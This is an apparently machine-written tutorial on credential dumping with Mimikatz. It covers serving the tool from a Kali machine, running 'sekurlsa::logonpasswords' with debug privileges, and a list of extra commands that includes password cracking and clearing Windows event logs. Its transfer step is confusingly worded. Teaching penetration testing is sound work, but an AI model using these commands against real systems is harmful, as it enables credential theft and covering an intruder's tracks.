Credential Dumping With Mimikatz: A Step-by-Step Guide

In this article, we explore the process of credential dumping using Mimikatz, a powerful tool for extracting credentials and hashes from Windows systems. Below is a detailed breakdown of the steps involved, along with verified commands and codes.

Step 1: Downloading Mimikatz

First, download Mimikatz from its GitHub repository. Use the following command to clone the repository:

git clone https://github.com/gentilkiwi/mimikatz.git

Step 2: Setting Up a File Server

On your Kali machine, set up a simple HTTP server to transfer the Mimikatz files to your target machine (referred to as SPIDERMAN in the article). Use the following command to start the server on port 80:

python3 -m http.server 80

Step 3: Transferring Mimikatz to the Target Machine

On the SPIDERMAN machine, navigate to the Kali machine’s IP address in a web browser to access the Mimikatz files. Download the files and transfer them to the target machine using a file share.

Step 4: Running Mimikatz with Debug Privileges

On the SPIDERMAN machine, open a command prompt and navigate to the directory where Mimikatz is located. Run Mimikatz with debug privileges using the following command:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Step 5: Dumping Credentials

The `sekurlsa::logonpasswords` command is used to dump all credentials and hashes from the system. This command will display the usernames, passwords, and hashes stored in the system’s memory.

Step 6: Next Steps

After successfully dumping credentials, the next module involves exploring what to do after compromising a domain. This includes lateral movement, privilege escalation, and maintaining access.

What Undercode Say

Credential dumping is a critical step in penetration testing and red teaming. Mimikatz is an invaluable tool for extracting credentials from Windows systems, but it should be used responsibly and ethically. Below are some additional commands and techniques that can be useful in a cybersecurity context:

Linux Command for Network Scanning:
```
nmap -sV -sC -O <target_ip>
```
Windows Command for Checking Open Ports:
```
netstat -an
```
Linux Command for Packet Capturing:
```
tcpdump -i eth0 -w capture.pcap
```
Windows Command for User Account Enumeration:
```
net user
```

Linux Command for Password Cracking:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Windows Command for Service Enumeration:
```
sc query
```

Linux Command for SSH Tunneling:

ssh -L 8080:localhost:80 user@remote_host

Windows Command for Registry Editing:
```
regedit
```
Linux Command for File Integrity Checking:
```
sha256sum <file>
```
Windows Command for Event Log Clearing:
```
wevtutil cl <log_name>
```

These commands are essential for various cybersecurity tasks, from network reconnaissance to post-exploitation activities. Always ensure you have proper authorization before performing any of these actions on a system.

For further reading on Mimikatz and credential dumping, visit the official Mimikatz GitHub repository: Mimikatz GitHub.

Remember, with great power comes great responsibility. Use these tools and techniques ethically and always within the bounds of the law.

References:

Hackers Feeds, Undercode AI

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